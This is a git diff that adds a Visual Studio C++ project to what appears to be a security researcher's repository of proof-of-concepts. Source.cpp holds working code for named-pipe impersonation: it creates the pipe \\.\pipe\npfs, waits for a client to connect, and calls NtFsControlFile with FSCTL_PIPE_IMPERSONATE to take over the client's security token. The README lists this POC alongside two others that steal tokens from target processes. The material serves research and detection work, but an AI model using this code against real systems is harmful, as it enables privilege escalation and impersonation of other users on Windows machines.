diff --git a/NtfsControlFile/.vs/NtfsControlFile/FileContentIndex/b428643a-c8c9-4b5d-ab24-a75aefbec924.vsidx b/NtfsControlFile/.vs/NtfsControlFile/FileContentIndex/b428643a-c8c9-4b5d-ab24-a75aefbec924.vsidx
new file mode 100644
index 0000000..c33a181
Binary files /dev/null and b/NtfsControlFile/.vs/NtfsControlFile/FileContentIndex/b428643a-c8c9-4b5d-ab24-a75aefbec924.vsidx differ
diff --git a/NtfsControlFile/.vs/NtfsControlFile/FileContentIndex/read.lock b/NtfsControlFile/.vs/NtfsControlFile/FileContentIndex/read.lock
new file mode 100644
index 0000000..e69de29
diff --git a/NtfsControlFile/.vs/NtfsControlFile/v17/.suo b/NtfsControlFile/.vs/NtfsControlFile/v17/.suo
new file mode 100644
index 0000000..33b8442
Binary files /dev/null and b/NtfsControlFile/.vs/NtfsControlFile/v17/.suo differ
diff --git a/NtfsControlFile/.vs/NtfsControlFile/v17/Browse.VC.db b/NtfsControlFile/.vs/NtfsControlFile/v17/Browse.VC.db
new file mode 100644
index 0000000..7adaa41
Binary files /dev/null and b/NtfsControlFile/.vs/NtfsControlFile/v17/Browse.VC.db differ
diff --git a/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/7469c6c6215da3b4/SOURCE.ipch b/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/7469c6c6215da3b4/SOURCE.ipch
new file mode 100644
index 0000000..257f001
Binary files /dev/null and b/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/7469c6c6215da3b4/SOURCE.ipch differ
diff --git a/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/8ecd9768f82f1426/SOURCE.ipch b/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/8ecd9768f82f1426/SOURCE.ipch
new file mode 100644
index 0000000..636919c
Binary files /dev/null and b/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/8ecd9768f82f1426/SOURCE.ipch differ
diff --git a/NtfsControlFile/NtfsControlFile.sln b/NtfsControlFile/NtfsControlFile.sln
new file mode 100644
index 0000000..d69d631
--- /dev/null
+++ b/NtfsControlFile/NtfsControlFile.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.3.32901.215
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NtfsControlFile", "NtfsControlFile.vcxproj", "{817DA822-0DC1-4288-8525-39192D75BE2E}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x64.ActiveCfg = Debug|x64
+ {817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x64.Build.0 = Debug|x64
+ {817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x86.ActiveCfg = Debug|Win32
+ {817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x86.Build.0 = Debug|Win32
+ {817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x64.ActiveCfg = Release|x64
+ {817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x64.Build.0 = Release|x64
+ {817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x86.ActiveCfg = Release|Win32
+ {817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {DE2533A7-98F1-4DFF-8E5F-5CD825C63E3E}
+ EndGlobalSection
+EndGlobal
diff --git a/NtfsControlFile/NtfsControlFile.vcxproj b/NtfsControlFile/NtfsControlFile.vcxproj
new file mode 100644
index 0000000..84565f6
--- /dev/null
+++ b/NtfsControlFile/NtfsControlFile.vcxproj
@@ -0,0 +1,135 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {817da822-0dc1-4288-8525-39192d75be2e}
+ NtfsControlFile
+ 10.0
+
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/NtfsControlFile/NtfsControlFile.vcxproj.filters b/NtfsControlFile/NtfsControlFile.vcxproj.filters
new file mode 100644
index 0000000..3e7e62e
--- /dev/null
+++ b/NtfsControlFile/NtfsControlFile.vcxproj.filters
@@ -0,0 +1,22 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ Source Files
+
+
+
\ No newline at end of file
diff --git a/NtfsControlFile/NtfsControlFile.vcxproj.user b/NtfsControlFile/NtfsControlFile.vcxproj.user
new file mode 100644
index 0000000..88a5509
--- /dev/null
+++ b/NtfsControlFile/NtfsControlFile.vcxproj.user
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/NtfsControlFile/Source.cpp b/NtfsControlFile/Source.cpp
new file mode 100644
index 0000000..947ac5e
--- /dev/null
+++ b/NtfsControlFile/Source.cpp
@@ -0,0 +1,156 @@
+/* Author: Jonathan Johnson (@jsecurity101)
+* Execute: NtfsControlFile.exe then connect to named pipe \\pipe\npfs
+*/
+
+#include
+#include
+#include
+#include
+#include
+
+
+#define FSCTL_PIPE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS)
+
+
+#define BUFSIZE 2048
+#define INSTANCES 4
+
+typedef struct
+{
+ OVERLAPPED oOverlap;
+ HANDLE hPipeInst;
+ TCHAR chRequest[BUFSIZE];
+ DWORD cbRead;
+ TCHAR chReply[BUFSIZE];
+ DWORD cbToWrite;
+ DWORD dwState;
+ BOOL fPendingIO;
+} PIPEINST, * LPPIPEINST;
+
+
+typedef struct _IO_STATUS_BLOCK {
+ union {
+ NTSTATUS Status;
+ PVOID Pointer;
+ };
+ ULONG_PTR Information;
+} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
+
+typedef enum _EVENT_TYPE {
+ NotificationEvent,
+ SynchronizationEvent
+} EVENT_TYPE;
+
+typedef VOID(*PIO_APC_ROUTINE)(
+ __in PVOID ApcContext,
+ __in PIO_STATUS_BLOCK IoStatusBlock,
+ __in ULONG Reserved
+ );
+
+typedef NTSTATUS(*_NtFsControlFile)(
+ HANDLE FileHandle,
+ HANDLE Event,
+ PIO_APC_ROUTINE ApcRoutine,
+ PVOID ApcContext,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ ULONG FsControlCode,
+ PVOID InputBuffer,
+ ULONG InputBufferLength,
+ PVOID OutputBuffer,
+ ULONG OutputBufferLength
+ );
+
+int main() {
+ HANDLE hPipe = NULL;
+ DWORD i, dwRead;
+ TCHAR chBuf[BUFSIZE];
+ TCHAR username[UNLEN + 1];
+ DWORD username_len = UNLEN + 1;
+ if (!GetUserName(username, &username_len))
+ {
+ printf("GetUserName Failed (%d).\n", GetLastError());
+ DisconnectNamedPipe(hPipe);
+ CloseHandle(hPipe);
+ return 1;
+ }
+ else
+ {
+ std::wstring username_w(username);
+ std::string username_s(username_w.begin(), username_w.end());
+ std::cout << "[*] Current username is: " << username_s << "\n";
+ }
+ printf("[*] Creating named pipe npfs...\n");
+ hPipe = CreateNamedPipe(L"\\\\.\\pipe\\npfs", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, NULL);
+
+ if (hPipe == INVALID_HANDLE_VALUE)
+ {
+ printf("[-] CreateNamedPipe failed: (%d).\n", GetLastError());
+ return 1;
+ }
+ else
+ {
+ printf("[*] Named pipe created!\n");
+ printf("[*] Waiting for client to connect...\n");
+
+ if (!ConnectNamedPipe(hPipe, NULL)) {
+ printf("[-] ConnectNamedPipe failed: (%d).\n", GetLastError());
+ CloseHandle(hPipe);
+ return 1;
+ }
+ else {
+ printf("[*] Client connected to named pipe!\n");
+ if (!ReadFile(hPipe, chBuf, BUFSIZE * sizeof(TCHAR), &dwRead, NULL)) {
+ printf("[-] ReadFile failed: (%d).\n", GetLastError());
+ DisconnectNamedPipe(hPipe);
+ CloseHandle(hPipe);
+ return 1;
+ }
+ else {
+ printf("[*] ReadFile completed!\n");
+ _NtFsControlFile NtFsControlFile = (_NtFsControlFile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtFsControlFile");
+ if (NtFsControlFile == NULL) {
+ printf("[-] NtFsControlFile not found!\n");
+ DisconnectNamedPipe(hPipe);
+ CloseHandle(hPipe);
+ return 1;
+ }
+ else {
+ printf("[*] NtFsControlFile found!\n");
+ }
+
+
+ IO_STATUS_BLOCK ioStatusBlock;
+ NTSTATUS status = NtFsControlFile(hPipe, NULL, NULL, NULL, &ioStatusBlock, FSCTL_PIPE_IMPERSONATE, NULL, 0, NULL, 0);
+ if (status != 259) {
+ printf("[-] NtFsControlFile failed: (%d).\n", GetLastError());
+ DisconnectNamedPipe(hPipe);
+ CloseHandle(hPipe);
+ return 1;
+
+ }
+ else {
+ WaitForSingleObject(hPipe, INFINITE);
+ printf("[*] NtFsControlFile completed!\n");
+ if (!GetUserName(username, &username_len))
+ {
+ printf("GetUserName Failed (%d).\n", GetLastError());
+ DisconnectNamedPipe(hPipe);
+ CloseHandle(hPipe);
+ return 1;
+ }
+ else
+ {
+ std::wstring username_w(username);
+ std::string username_s(username_w.begin(), username_w.end());
+ printf("[*] Current username is: %s\n", username_s.c_str());
+ }
+ }
+
+ }
+ }
+ DisconnectNamedPipe(hPipe);
+ CloseHandle(hPipe);
+ }
+
+ return 0;
+}
\ No newline at end of file
diff --git a/README.md b/README.md
index 7fda1a6..1fa3d5d 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,13 @@
# RandomPOCs
-Repo that holds random POCs
+This repository holds POCs I have created for projects, blogs, etc.
+
+
+
+## POCs:
+
+
+| POC | Description |
+| --- | ---- |
+| ImpersonateLoggedOnUser | Steals token from a targetted process and sets token to current thread via ImpersonateLoggedOnUser |
+| SetThreadToken | Steals token from a targetted process and sets token to current thread via SetThreadToken |
+| NtfsControlFile | Performs named pipe impersonation by creating a named pipe - `\\.\pipe\npfs` and taking the clients token by calling NtfsControlFile|